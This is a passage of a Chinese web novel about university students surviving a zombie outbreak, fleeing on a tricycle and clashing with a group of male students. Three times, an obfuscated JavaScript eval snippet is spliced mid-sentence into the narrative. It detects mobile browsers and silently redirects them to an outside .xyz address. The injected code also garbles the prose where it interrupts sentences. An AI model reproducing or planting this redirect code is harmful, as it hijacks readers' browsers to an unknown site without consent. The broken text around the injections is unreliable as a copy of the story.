可惜那把尖刀就是个花架子，难用的很，直到姜杞腾出手来，一电饭煲从后面砸伤丧尸的后脑勺，这玩意才真正倒下去。 孟和喘了口气，忍无可忍地骂了一句。 她早就注意到那个突然叫骂的人了。 看窗户的位置应该是海鲜酒楼的后厨，这片居民楼临街的店铺几乎-都租给了做餐饮的，白石区临海，海鲜更是特色。 孟和刚跳下来，扶着墙小心打量天井院全景的时候，就看到一扇玻璃窗被推开，几个人头挤在窗前，小心地拿着钳子正在夹窗歪的铁栏杆。 不知道他们已经弄了多久，看那小心翼翼又充满期待的表情，仿佛成功近在眼前。 孟和惊讶之余生出更大的庆幸，幸好幸好，她们来的这家火锅店比较low，后厨的窗户上压根没装栏杆！ 这时那群人也已经注意到了孟和，正拿着大钳子的那个金棕发色男生直勾勾地盯着孟和，满脸诧异。 其余人也惊讶地看着她，有个男的猛得激动起来，涨红了脸，握紧拳头朝孟和比划了两下。还有人激动地要抢金棕男手上的大钳子，着急要把栏杆剪开。 几乎是瞬间，孟和就明白了他们的意思。 他们也在打小三轮的主意！ 呸！真他妈没出息，几个大男人把主意打在那么小的三轮车身上！孟和愤怒不齿之余也生出无尽的后怕，再不敢拖延，趁着他们还没剪开栏杆，垫着脚尖向小三轮的方向跑过去。 她只顾着抢占先机，却忘了他们随时可以把丧尸引来。 孟和检查车钥匙时忽然想通了这一点，这时姜杞已经小心地跳下窗来，她看着姜杞像自己跑来的身影猛得揪起心来，一声“回去”卡在嗓子里欲发不发。 却一直没有听到什么激烈的动静传来。 也许是看在同学的面子上，也许是明白引来丧尸也会拖慢他们逃跑的进度，对他们同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203016|181230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样有危险。 孟和高高悬着的心暂时放下来，帮姜杞卸下身上缠在身上的火锅底料，就在这时阮青舒终于按照安排跳下窗，激动地跑过来。 栏杆后的一个男生也就在这个时候突然发疯，刺耳的尖叫杂着笑声响彻整个天井院。 午后的平静被瞬间打破，真正的末世已然降临！ 附近的丧尸都疯狂地向这边涌来！ ·· 孟和额间冒着大颗的汗珠，握紧三轮车把手的双臂青筋暴起，她努力平复呼吸，拧动把手尝试了几下，小三轮灵巧的前进后退。 小三轮电量不多，动力倒是很足。 孟和突然发出一声狞笑，把手向后拧到最深，小三轮猛地直直后退！突然发出的积累动静吸引到两个刚冒出来的丧尸，一个肥肠大耳的中年男丧尸从侧后方向车身扑过来，孟和转动把手，三轮车后退方向猛地偏离，擦着丧尸的身子撞过去，把那个肥丧尸撞到在地。 姜杞刚才试图去帮朱妙妙和阮青舒，但发起疯来的阮青舒让人都无法靠近，朱妙妙抢先捡起地上的菜刀，防范地看着小区大门，姜杞见状赶忙去搬运窗台的物资，她拽住米面袋子往后仰，一个侧身甩到正好开过来的小三轮上。 小三轮后面还跟着好几个丧尸，李穗面部肌肉抽动，拧着车一遍遍把向背后嘶吼的方向撞去。 朱妙妙拉着阮青舒去砍小三轮周边的丧尸，还要小心别被李穗撞到。 三轮车游荡在窗前，姜杞来回搬运着洗菜池上的大白菜、火锅底料，还爬上窗台进屋抱住了最后一包物资，最后自己也从窗台上跳下去，踉跄着倒在米面袋子上。 “快上车！快上车！”姜杞扶着车身，着急地冲还在和丧尸缠斗的两人高喊！ 普通人变异成丧尸后会生啃活人，并传播病毒，但是似乎并没有获得什么超出人类生理极限的能力，奔跑速度和力气都和长期缺乏运动的普通人无异。四肢随意扭曲大概是因为感觉不到痛楚，除此之外便是毫无神智，攻击极其猛烈，完全冲着要人性命去。 发疯的人类除了还能感受到痛觉外，几乎与丧尸无异。 如果不是阮青舒还会使用工具，砍向丧尸的同时嘴里还不时含糊吐出“死！”、“杀！”之类的字眼，旁人几乎分辨不得这是人类自救还是丧尸相残。 开始只有从楼道和小区角落跑出来的几个丧尸，随着打斗的进行又零星从楼梯上滚下来一批，但只有几个丧尸能爬起来，猛烈地向活人发出攻击。 小区门口已经跑进来几个丧尸，不知道还有多少丧尸向这边跑来。 孟和一咬牙，转动把手，将小三轮掉头，向渐行渐远的二人那边开过去。 姜杞坐在车后面稳住身体，在车身转动的时候顺手抄起靠在垃圾桶旁的光头拖把杆。 她握紧拖把杆，打向扑过来的丧尸，阮青舒和朱妙妙也手持刀具砍向丧尸，里应外合，终于短暂清出车身旁边的空间，两人相互掩护着爬上小三轮。 孟和为了转弯，先开着车后退。 三个人浑身是血，满身煞气挤在小三轮后面。朱妙妙双手紧握菜刀，防备地看着周围被刚驱推的丧尸，姜杞暂时喘了一口气，她的目光扫过周围，发现这一退竟推到了那几个男生所在的后厨窗前。 透过来没来的及关闭的玻璃窗，姜杞看到先前嚣张癫狂叫喊的男生早已被人紧紧捂住嘴，死死按在地上，像是产生了内讧，大概其他人也不想闹这么大，也怕真引发尸潮后连累自己。 唏嘘间，身旁忽然高出一个身影，是阮青舒趁着转弯的间隙踉跄着从车上站起，姜杞惊讶地抱住她的一只腿，扶着后背帮她稳住身体。 头顶的那个身影站的很稳，随着重心的转移，手上沉重的砍刀高高举起，然后狠狠落下，砍在马上要被钳断的那根栏杆上！ 随着剧烈的摩擦与打击，火花落在姜杞眼前。 她闭上了眼，扶着阮青舒的手上加深了力气，她感觉孟和似乎配合了阮青舒一下，在窗前多停了几秒。让阮青舒把那根栏杆砍断，砍弯。 让丧尸有机会冲进去。 9. 背刺又背刺【男生视角】 当看到那个女生径直跑向小三轮的方向，卫信泽松了口气，继续用钳子掰栏杆，同时也分出一点精力关注那几个女生的动静。 卫信泽一行人的目标是停在草坪中央的那辆黑色宝马，车主现在就跟他们一起躲在酒店后厨，只要掰断栏杆躲进车里，就能乘车安全逃离。 他们帮车主逃跑，车主把他们送到东区，合作共赢。 所以当阎良那个混蛋突然叫骂的时候，卫信泽立刻变了脸色，一把勒住他的脖子紧紧捂着他的嘴巴！ 这人坏透了，被他制住后先是摆出一张笑脸，不抵抗，完全放松身体，做出一副很好沟通的模样。当他松开手后又立刻挣脱束缚冲到窗前，对着外面高声叫喊，尖锐的骂声中杂着难以掩饰的癫狂笑意。 卫信泽不可置信地上前把阎良跺翻在地，清透的阳光落在他半边脸上，眼底的戾气一闪而过。 “卫哥，你就是这样对兄弟的？你这就太不讲义气了吧，也太不够哥们了！”和阎良一起的那个小卷毛不满地冲上前，把还在无声狂笑的阎良扶起来，转头对着卫信泽发难。 “卫哥这是看上外面那个女的了？为人出头呢！”阎良眼中充满戏谑，满口胡诌，和小卷毛笑成一团。 卫信泽冷着脸盯着二人，并不言语，但握紧钳子的手鼓起条条青筋。 他下铺的兄弟忍不住骂道：“看上个屁啊，我们都没看清外面是男是女长什么样呢，倒是你一张口就喊出人家的名字了。” 卫信泽阻止了舍友继续和他们吵，但关系已然破碎。外面打斗的动静愈发激烈，屋子里却陷入死一般的沉寂。 阎良和小卷毛挑衅地站在洗手池边，手里把玩着几把闪着银光的刀具。卫信泽拿着大钳子站在舍友身前，角落里还有个一身西装的车主沉默不语，有意降低自己的存在感。 本来就不是一路人。 丧尸刚爆发的时候，来主校区考试的卫信泽正和舍友一起在小吃街买饭，忽然人群不知怎么忽然一阵躁动，紧接着就有人尖叫着乱跑起来。 大部分人还楞在原地犹豫观望，相互打听发生了什么，还有不知死活的同学打开摄像头就要上前凑热闹。 卫信泽在这时发现人群里混着一个衣服染血的年轻人，他当机立断，拽起还在盯着即将出锅的鸡蛋灌饼挣扎犹豫的舍友，迅速远离人群骚乱的地方。 他有着过人的判断力，却欠缺适当的运气。 这一跑，正好跑到丧尸面前。 两人被那个浑身是血、青白眼球冒着黑丝的丧尸吓得踉跄后退，大张着嘴无声喘气，话都被吓到说不出来。丧尸在他俩之间犹豫了犹豫，猛得扑向被吓傻了的舍友！ “跑啊！” 卫信泽咬着牙，一拳打在丧尸的后颈，冲着舍友大喊！ 舍友眼泪鼻涕抹了一脸，喘了口气，拎起摊位上的小马扎狠狠砸在丧尸的脑袋上。 两人就这样一路跑，一路打，在小吃街上打圈，最后紧接冲进街边的海鲜大酒楼。 这个大酒楼选址不好，开在学校门前。大部分学生穷得很，根本消费不起，所以客流量较小，相对安全。 卫信泽两人就是在这里遇上了阎良和小卷毛，那时他们身边还有一个人，看起来也是阎良的小跟班，小跟班胳膊上被丧尸咬掉了一块肉，被阎良关在酒店外面。阎良不知道酒店已经混进了丧尸，他刚把小跟班推出门外，关上酒店大门，转头就被溅了一脸血。 大厅里、各个包间中，不断有普通人被扑杀，场面血腥无比，如同人间地狱。 卫信泽他们再次撞了霉运，今天有专家团来H大访问交流，一群校领导陪着应酬，午饭就选在了这里，他们赶上了半年来客流量最大的一回。 满眼都是鲜艳的血红，还杂着黄白的粘稠物，耳边是无止无休的尖叫，叫得人也忍不住跟着发疯抓狂。恐慌继续发酵，仿佛化为实质从人的耳朵、鼻孔等处倒灌入脑海中。 生死关头，倒霉了大半辈子的卫信泽终于幸运了一回，在混乱中和舍友一起躲进了后厨。 紧随其后的阎良刚挤进来就迫不及待地关上了门。当时后厨就是这样，只有他们五个人。 记忆与现实逐渐重叠，卫信泽抬手抹了把脸，视线模糊的同时，手上也多了片湿润。 “卧槽！” 几声暴怒的叫嚷打破了方才的死寂，卫信泽猛得抬头，竟是西装叔突然对阎良下手，三两下的功夫，阎良竟然已经被西装叔压倒在地！ 这人一直表现出沉稳冷静的样子，非必要不说话，始终和人们保持着适当的距离，不知道怎么突然暴起对阎良下手了。 小卷毛着急地去菜板上拿刀具，狰狞地大喝一声就冲向正在缠斗的两人。 眼看要见血了，舍友骂了一声就冲上前，企图制住他。卫信泽侧身小步移动，飞速绕到小卷毛侧后方，猛得上前擒住他的手腕夺过来刀具，配合着舍友把卷毛的头按在洗菜池里。 没有任何商量，卫信泽两人下意识就站在西装叔这边。 屋里的斗争很快结束，窗外的打斗声还在继续，丧尸的嘶吼杂着人类的尖叫、怒呵，以及刀具甩飞在砸在墙上，重物撞击、三轮车发动等种种声音。卫信泽脸色变得苍白，他几乎能想象出那几个身形单薄的女生在丧尸群中的下场会是怎样的惨烈。 舍友按着卷毛的手忽然松开，捡起刚才卫信泽放在操作台上的钳子就冲到窗前，看一眼钳子又看一眼窗户，似乎是在剪开栏杆救人与关上窗户之间摇摆。 他咬着牙看向窗外，似乎是想从中汲取些力量，却不知是看到了怎样的惨烈，瞬间移开视线，低下头弓起身子扶着墙，直接剧烈干呕起来。 “这都是你造成的。”西装叔松开捂着阎良的手，面无表情地对他说。 靠着墙缓缓蹲在地上的舍友沉默着低着头，闻言握紧了拳头，又抬起头愤怒地朝阎良看过来。 是他心肠歹毒，引来丧尸，害了外面的人。 那可是之前一起和他们生活学习的同学，是活生生的人命！他怎么敢？怎么敢杀人！ 卫信泽心中对丧尸的恐惧，对外面正在被丧尸伤害的人的同情可怜，对自己无能的怨悔，也随着西装叔的话转移为对阎良的愤怒。但当他低头怒视阎良时，又不由得被那张过于冷静的面孔吸引。 这样矜贵自持的一张脸，实在不像是嫉恶如仇的人。 阎良简直觉得这些人不可理喻。 “好了好了”他咽下一肚子的恶毒脏话，摆出一副嬉皮笑脸的模样，解释道：“我这也是为了大家共同的利益，明明看到了却不阻止，分明就是在告诉她们我们除了那辆小三轮还有更好的选择嘛。” 卫信泽冷笑：“她们又没有车钥匙，知道了又能怎么样？” “那我叫了几声又能怎么样？”阎良不以为然，反而嬉皮笑脸地反问：“我们窗户上的栏杆还没弄断，现在丧尸对我们根本没有影响。反正没有坏处，让她们帮忙消耗一波丧尸不是挺好的吗？” “什么消耗？那是活生生的人命！”舍友愤怒地就要上前打他：“混账，你简直就是丧心病狂！” 他刚起身，就看到西装叔看向他身后的方向，极其失态地瞪大了眼睛，卫信泽跟着西装叔的目光瞥向窗外，紧接着就被窗口的巨大动静吓得紧紧闭上眼睛。 再睁开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203017|181230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼的时候，他看到火花落在地上。 高举的砍刀狠狠落在铁栏杆上，摩擦产生耀眼的火花，以及震耳欲聋的声响。 满身狼藉的女生勉强在堆满物资的三轮车上站稳，双手持刀，一刀刀砍下，背着光，看不清模样。 卫信泽简直认不出这是刚才那个被吓得僵在原地、险些乱爬的女生。 小车上堆着满满的物资，四个人都在，血迹满身，但性命犹存。卫信泽忽然生出一种异样的感受，他没想到这几个人能活下来。 三轮车只在窗前停留了很短的时间，却给卫信泽带来了极大的震撼。 也许是看到了人类在丧尸面前的顽强与勇敢，看到了这世界上除了阎良这样的卑鄙无耻之徒外，还有大难之中仍能相互扶持互相依靠的伙伴，也许仅仅是因为欢喜于有人活了下来。 他心头止不住地涌上阵阵希望。 “不是，姐，那姐砍栏杆干什么？”舍友的话把卫信泽拉回现实。 他有些茫然地看着窗台，发现外面的栏杆被从中下方砍断，正是他之前已经快钳断的地方。 原来变得不一样的地方不只是他的内心，还有窗台。 不是，他们是想弄断栏杆逃出去，但是现在外面还有丧尸啊！ 卫信泽松开手底下的卷毛，冲上前就要把窗户关上，人刚跑到窗户前就立刻吸引了跟着小三轮跑来的一个丧尸，年轻女丧尸青白的眼球瞪着这个金棕发色的青春男大愣了愣神，紧接着嘶吼着直接冲了上来！ 卫信泽尖叫着拉上窗户，扑上来的丧尸头穿过已经掰弯的栏杆撞在玻璃窗上，巨大的声响让险些把他吓倒在地上。 血肉模糊的脸紧紧贴在磨砂玻璃后，紧接着一个个血手印拍打在窗户上。 卫信泽喘着粗气踉跄着后退，身后忽然传来破空声。 他刚才松开了小卷毛，小卷毛就趁机捡起一把刀去救阎良。西装叔似乎是被窗外的丧尸吸引，一时不察险些挨了小卷毛一刀，阎良也因此脱困。 在卫信泽去关窗，防御丧尸的短短十几秒，身后已经打斗起来。 蹲在三轮车上，拿着拖把杆推丧尸的时候，阮青舒还止不住地盘点刚才那几刀，懊悔当时只恨死男人仗着窗户带栏杆肆无忌惮地印丧尸攻击她们，一心只想打破那层栏杆。 那几刀实在应该直接甩进去，砍在死男人的脸上，劈烂他的脑袋！ 姜杞一边捧着手机查找附近的共享电动车，一边安慰悔恨的阮青舒：“那样还得浪费一把好砍刀。” “你就放心吧，那死玩意绝对有不了好下场。” “他们四五个人，发出叫喊引丧尸从始至终只有那一个，而且你砍栏杆时那人已经被按在地上，肯定是团体内部出了分歧。末日才刚开始，大部分人还没有丧失公德与良心，接受不了和这样丧尽天良的东西待在一起。” “而且，以他在我们背后搞小把戏害人的行径，团队也不会放心把他留在后厨，让他有机会背刺自己。” 姜杞捧着手机，轻描淡写地说出了所有令西装叔突然对阎良下手的原因，最后总结：“你给了丧尸冲进去的机会，就是给了他们不自己动手干掉那人的机会。” 那个人大概会永远留在这里。 激烈的打斗声中仿佛能听到男人被丧尸啃食的声音，阮青舒推丧尸的力气逐渐减弱，说不清现在是一种什么样的心理。 后车上有人捧着手机，有人边打丧尸边出神，真正出力的好像就手提砍刀的朱妙妙自己。握紧把手开着小三轮在丧尸中横冲直撞的孟和忍无可忍地打断她们：“不是，你们都这么心大吗？还有心思聊天？我们还在尸潮里啊！” 10. 你听，是四级听力的声音 姜杞：“你开着小三轮再遛他们两圈，绝对能倒下一大半。” 不知道是不是因为变异的时间还较短，丧尸的身体素质普遍还保持在生前的情况，大学生丧尸追着小三轮跑了几百米就相继倒地不起，再也没能爬起来。 在杀伤力方面，变异后丧尸指甲疯长，但是过长的指甲在打斗中反而成为了累赘，他们下手又狠，往往是人还没有受到什么伤害，自己的指甲先被折断。丧尸的牙齿并没有因为变异而变得锋利，但是具备惊人的咬合力，反而成为他们威胁最大的地方。 总之，现实中的丧尸似乎并不具备末世文里的恐怖杀伤力。 意识到这一点后，姜杞等人渐渐抚平了心中的恐慌，过度紧张的身体也不由自主地松懈下来。 大部分的丧尸还在地下超市和室内小吃街里，主校区敞开的大门也吸引了大部分的丧尸聚集，那里的活人更多。 追赶小三轮的丧尸不算多，能追上的就更少了。 姜杞坐在飞驰的小三轮上，看着阮青舒手里的不断捅向丧尸的长拖把杆，和重新回到朱妙妙手中的砍刀，感慨道：“人与动物的区别，就在于善用工具。” “够了，你真是够了！”孟和破音尖叫：“到底找到共享电动车了吗？我们已经在这一片绕了两圈了，电量越来越少，追在车后面的丧尸越来越多！” “找不到就直接回东区！” 因为小三轮电量不足，她们刚才还是决定尝试一下去扫两辆小黄车，但是校门口的小黄车被丧尸群冲得东倒西歪，她们还被越来越多的丧尸追赶着，从车旁边转了两次都没扫上码。 “回回回！”姜杞安抚她道：“找到了，回东区的那个十字路口就停了一片小黄车，走到那里的时候，要是没丧尸追着，我们就下去扫码！” 其实她们心里也都明白，被丧尸这样追赶着，根本没机会下车，多半就直接这样走了。 希望电量能撑到东区。 孟和二话不说，握紧把手调转了方向，在马路上一个大拐弯，变换车道，向着的十几个丧尸冲过去！ “操操操你疯了吗！”这下换成后车的三个人尖叫，车头撞在一个穿着身上小香风套装的年轻女丧尸上，丧尸感受不到痛觉，她被撞得双脚离地趴在车头上，还伸出尖锐的指甲试图去扣孟和的脸。 那指甲长而尖锐，硕大的华子闪着漂亮的火彩，还是只美甲丧尸。 长长的拖把杆从后面伸过来，抵在丧尸的胸口处，把她捅到一边！ 阮青舒被夹在姜杞和朱妙妙两人之间，手持拖把杆高高站起，帮孟和驱赶没有被车撞翻的丧尸。 姜杞抱着大电饭煲挡在身前，手里还拿了一个长长的擀面杖，戳向每一个试图靠近的丧尸。矮小的朱妙妙手持大砍刀，脸上已经被溅了无数丧尸的血。 四个人挤在一个小三轮车上，相互依偎，互为后背。 小三轮沿着学校的围墙在大马路上飞驰，绕过无端停在路中央的轿车，躲开聚集的尸群，撞散游离的丧尸，在回东区的路上越走越远。 只是不知道电量还能撑多久。 小三轮速度快，动力足，但是耗电也非常快。 马上就要到转弯的地方，姜杞已经看到了几辆零星散落在人行道上的小黄车，但是身后的丧尸穷追不舍，几乎没有机会下车就扫码。 难道真要开着这个小三轮回东区？但以她们这一车的重量，怕是最后一段路完全撑不住。 姜杞等人看着小黄车越来越近，身后的丧尸也越来越多。这时，隔着高高的围墙，主校区内部忽然响起熟悉的机械音。 “College English Test Band Four……” 朱妙妙最先反应过来：“是四级英语听力！” “怎么会突然放四级？”温热的血溅在姜杞的脸上，她听着这再熟悉不过的声音，恍惚地喃喃自语：“今天不是考近现代史纲要吗？” 熟悉的声音还在继续，眼前却仍是惨不忍睹的丧尸，一种奇异的感觉在心中升起，现实与幻想交织，让身处其中的人们分不清什么才是真实。 四级听力没有在教室中响起，而是通过校门口保安室、和操场的大喇叭不断播放，清晰的听力响彻校门口和空荡的操场，隔着高高的围墙也能听到那响亮的声音。 整个主校区，甚至周边地区所有的丧尸，几乎全被英语听力的声音吸引，一部分丧尸涌向无人的操场，一部分涌向血迹斑斑的安保室。 姜杞心中生出一种异样的感觉，这是有人故意为之。 蹲在教室桌椅下、藏在反锁的厕所里、甚至因恐惧躲到树上的同学们，在听到广播声后先是错愕惊恐，又随着丧尸的离去而逐渐终于敢大口喘气。 不断有人因广播声获救。 追赶小三轮的丧尸们也陆续放弃，转而扑向高高的围墙，在墙上留下一道道明显的血迹。速度较慢的丧尸更是直接调转方向，嘶吼着朝向校门口的方向扑过去！ 眼见车周围只剩下了零星几个丧尸，姜杞忽然灵机一动，抓起什么东西朝丧尸的方向扔了出去。 诱人的浓烈香气一下子顺着风钻进孟和的鼻孔，她扯开嗓子尖叫：“姜杞你是不是动我打包回来的剩菜了！！！” 姜杞高喊：“我没有！” 孟和：“你放屁！” 姜杞确实动了，而且颇有成效。半袋子通红的鸭肠鸭血、杂着毛肚、肥牛卷一齐被甩在丧尸的脸上，瞬间染上了牛油的辛辣浓香，几个丧尸迟疑的缓缓停下，不知是分辨不出人类的气味了，还是被自己身上的香气混搅。 这一迟疑，连仅存的还在追赶小三轮的丧尸都停了下来，转身对准了刚才被泼了一身剩菜的那两个丧尸。 毕竟姜杞她们坐着车难以追赶，而这两个气味不明的丧尸就僵在原地不动弹。 姜杞想着丧尸目的无非是咬人，想试试他们还吃不吃正常人的食物。没想到直接混搅了丧尸的判断系统。 眼看丧尸们就要内讧起来，小三轮终于开到了转弯处，一辆辆小黄车整齐地排在道路边。 这里离两个校门口都不近，人流量相对小，没有被混乱波及。 姜杞等人麻溜放下手里的东西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203018|181230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起身，三个一百多斤的活人相继跳下车，刚才还岌岌可危的电量猛得回弹，又回到百分之四十，孟和看着电量表激动地要流下眼泪来。 她调转车头，躲在转角处关注着内讧的丧尸们的动静，随时准备喊回大家逃离，也防着其他角落忽然冒出几只丧尸来。 姜杞等人则迅速扫码开锁，检查电量是否充足。 “操！”阮青舒怎么也扫不上，她狠狠跺了下脚，恨不得把手机砸地上。姜杞赶紧上前帮她扫了一辆。 “绿灯、绿灯！赶紧走！” 随着三人都骑上小黄车，孟和坐在三轮车上看着即将变红的绿灯，率先一拧把手冲了出去，三人也骑着小黄车摇摇晃晃地跟上。 四辆车发出的动静立刻吸引了刚才还在内讧的丧尸们，刚才还撕咬缠斗的丧尸们缓缓分开，扭曲着身体以可怕的姿势追了一段路，竟然犹豫着停了下来。 红灯了。 孟和好奇地回头看了一眼，啧啧称奇：“属实是肌肉记忆了这。” 身后终于不再有追击的动静传来，她们骑着小黄车、三轮车渐行渐远，姜杞却感觉自己的心被留在了原地，留在停着小黄车的那片树荫里，留在四面楚歌，即将逃脱又充满不确定的那一刻。 一滴水落在她的鼻尖，姜杞下意识腾出手去抹眼泪，却发现眼睛是干的。 下雨了。 天空还是大晴，阳光普照，只是头顶不知道何时飘过来一朵浓重的乌云，零星的落下几个雨点。 白石区沿海，夏天多阵雨，不知道什么时候雨就会下大起来。 几人开着小黄车，围着装满物资的小三轮，以并不快的速度穿行在空无一人的高架桥上，就像是一个平凡的午后，她们为了躲雨而拼命往学校赶。 白石区地形崎岖，地势起伏大，多高架桥和穿山隧道。 接下来这几分钟的路程都是在桥上，视野极其宽广，能看到天边浓重的乌云和远处群山脚下错落的高楼，再往前走还能看到海。 此处天高海阔，耳边风声杂着鸟叫声，仿佛没有发生任何灾难。 但姜杞知道，桥下面不是穿行的车辆，而是游离的丧尸，道路两旁就是居民区，人群密集，是丧尸爆发的重灾区。 密集的高楼里也在经历着屠杀，玻璃上被糊了厚厚一层血，到处是断肢残尸。。道路上不再有正常人敢出来行走，海上的渔船不知道有没有接收到丧尸爆发的消息。 不过目前来说，世界上还应该没有出现人类之外的受害者。 风声依旧，山海仍在。 无数复杂的思绪闪过脑海，姜杞麻木地骑在小黄车上，甚至没有听到舍友们的呼喊。 直到有陌生的声音传入耳边。 姜杞一下子警惕起来。 “你个傻子，过了！走过了！” 舍友们把车停在一面绿色的铁皮围挡下面，顶着烈日疯狂朝姜杞招手，叫喊，气得直跺脚。铁皮围挡后还有几个陌生的人头冒出来，刚才就是他们的声音把姜杞叫回神来。 姜杞这才灰溜溜的转弯掉头，骑着小黄车赶回来。 11. 你是说末世了还要隔离？ 大学通常是开放式大门，东区也不例外，那个遥控器控制的伸缩门还没朱妙妙高，完全不具备任何防御力。 但现在，伸缩门后面竖起一面面拼接起来的绿色铁皮围挡，边缘还和围墙固定住，直接将这一片封住。 正因如此，姜杞刚才才没认出这就是东区的校门口。 东区依山而建，隧道穿山而过，隧道两侧是南、北两个大门，隧道上方就是东区的操场。周边群山环绕，大门一封，除非是从后山摸上来，否则绝无闯入的可能。 围挡后的学姐站在板凳上跟她们解释：“同学，你们先从这底下爬进来，一会学长过来开锁，才能再把车开进来。” 说着围挡的一角被从里面拽开，发出滋啦滋啦的声响，一个男生趴在后面探出半张脸，小声招呼她们快进来：“赶紧进来吧！外面太危险了，保命要紧！” 刚经历过抢车砍窗的四人还没从背刺中缓过来，面对同学的热心关怀有一点点适应不过来。 办法还挺好，姜杞看着那个“狗洞”心想。 既留出了进出通道，又有效的防止丧尸误闯。因为从她们的经历来看，还没发现丧尸能做出钻洞这一动作。 不知道是不是那位掌管钥匙的“学长”的安排。 张贺斌将姜杞的打量当做了犹豫，他惯性思维地认定几个女生会不好意思钻“狗洞”，或者不放心外面的物资。 正欲劝解，不料那个最漂亮的女生用发红的眼睛紧紧盯着他，喘了口气，疯了般冲上前，趴下就要往里钻。吓得张贺斌脖子一缩，手忙脚乱地爬起来，赶紧让出了位置。 姜杞快步上前，按住阮青舒战栗的肩膀。 她们不能把物资留在外面。 保命重要，物资也重要，没了这些物资她们大概也活不了几天。 1230宿舍在末世第一时间就直面了丧尸的恐怖，知道现在形势已经严峻到什么地步，自然不肯轻易放弃这些资源。 朱妙妙提着大砍刀站在路边，警惕丧尸的突然出现，李穗把物资从车上卸下来，姜杞把东西从围挡掀开的那一角递给里面的阮青舒，几人有序配合，站岗的和搬运物资的还会换班，倒是看傻了周围的一群人。 他们不好说什么，也帮不上什么忙，于是站在高处和朱妙妙一起放哨。 东区地势高，校门口又是穿山隧道，很少有行人遛弯到这里来。人少，就代表了安全。 几人忙得大汗淋漓，终于把物资全部搬进围挡后面，李穗、朱妙妙相继从“狗洞”里爬进去，姜杞回头看了一眼空无一人的大路，忽然明白了那位拿着钥匙的学长为什么没有守在校门前。 外面人少，很少会有丧尸闯进来，真正的危险在校园里面。 这一片虽然也属于闹市，但是地势高，连着群山，东区就是这一片人最密集的地方。 她出神是常态，李穗钻进去后还特地喊了姜杞两声，让她赶紧进来。 姜杞正准备趴下钻进去，忽然里面围挡后面传来一声兴奋的叫喊：“钥匙！学长让人把钥匙送过来了！” 刚弯下身子的姜杞一愣，迟疑地站起身来。 围挡后传来踩板凳的声响，她抬头，果不其然，三张冷脸相继出现在围挡后面。 姜杞被三双犀利的眼睛紧紧盯着，尴尬地摸了摸鼻子，叹了口气认命地趴下，还是把“狗洞”钻了一遍。 有钥匙之后，全都变得好办。放哨、开锁、推车，再重新装载物资，1230宿舍顾不得埋怨倒霉，一种末世后无意识压在她们心头的紧迫感让她们难以松懈下来。 回宿舍，关上门！ 她们心中现在只剩下这一个念头。 “同学，你们现在还不能先回宿舍。” 张文斌怯生生地开口，被累得不想说话的阮青舒一眼瞪过来。她身上脸上满是血污，周身那种不管不顾的疯劲还没有完全消退，这一瞪又吓得张文斌不住地往后退。 也不是他胆小，四人刚才尸潮中闯出来，身上不知沾染了多少人的血，张文斌是唯一一个还敢上前跟她们沟通的人。 “先加个好友吧，我把你们拉到返校学生群里。有一些表格需要填写。” 身后传来一个略沙哑的男声，即使沙哑，也难掩其中的儒雅温润。姜杞顺着声音看过去，几个男生女生向这边走过来，身上或多或少带了些血污，衣服也多有破损。 为首的是一个身形高挑的青年，戴着细框眼镜，看起来像很有风度。 “学长！” 刚才还守在校门口的几个同学惊喜地跑过去，跟在他身边，许尧冲他们笑了笑，他勉强打起精神，但难掩疲惫，围在他身边的同学却都透着股未经世事的单纯。 许尧向姜杞等人走来：“我扫你们还是？” “我们扫你吧，快。”姜杞说着已经打开微信，许尧没说话，直接把手机递过去，1230几人纷纷围上来。 趁着加好友的功夫，许尧不动声色地打量起满身血污的这四个人，衣衫褴褛，戾气满身。 每个人脸上都或多或少带着些烦躁与不耐烦，身体完全紧绷，几个人下意识地围在那一车物资前，要么手上拿着武器，要么也处于离武器很近的地方。 “我们可以在自己宿舍里隔离。” 女生认真的声音在耳边响起，声音不大，但清晰有力。许尧略诧异地把目光转移到刚刚说话的那个女生身上。 姜杞：“我们都是一个宿舍的，锁上门，不到规定时间不会出来。” 刚才有人说“不能回宿舍”，她就猜出了大概返校人员要统一隔离，以防有人隐瞒被丧尸抓咬的情况，在校园里发生变异。 看着这人不像是同意的模样，姜杞又补充道：“也可以接受微信视频查房。” 许尧一愣，拿出小本将这一条记下来。 姜杞瞥见那个小本本上已经记了很多东西，大概都是些管理条例。 他满意地把“微信视频查房”加进返校人员管理规范中，然后摇了摇头：“规范管理，不好破例。” 姜杞眉毛一挑，气氛瞬间紧张起来。 “所有返校人员和受伤人员必须统一去东六宿舍楼隔离。”许尧还是坚持统一隔离，但紧接着出声安抚：“不过会逐步规定隔离标准，一定时间后就可以回原宿舍继续隔离。” 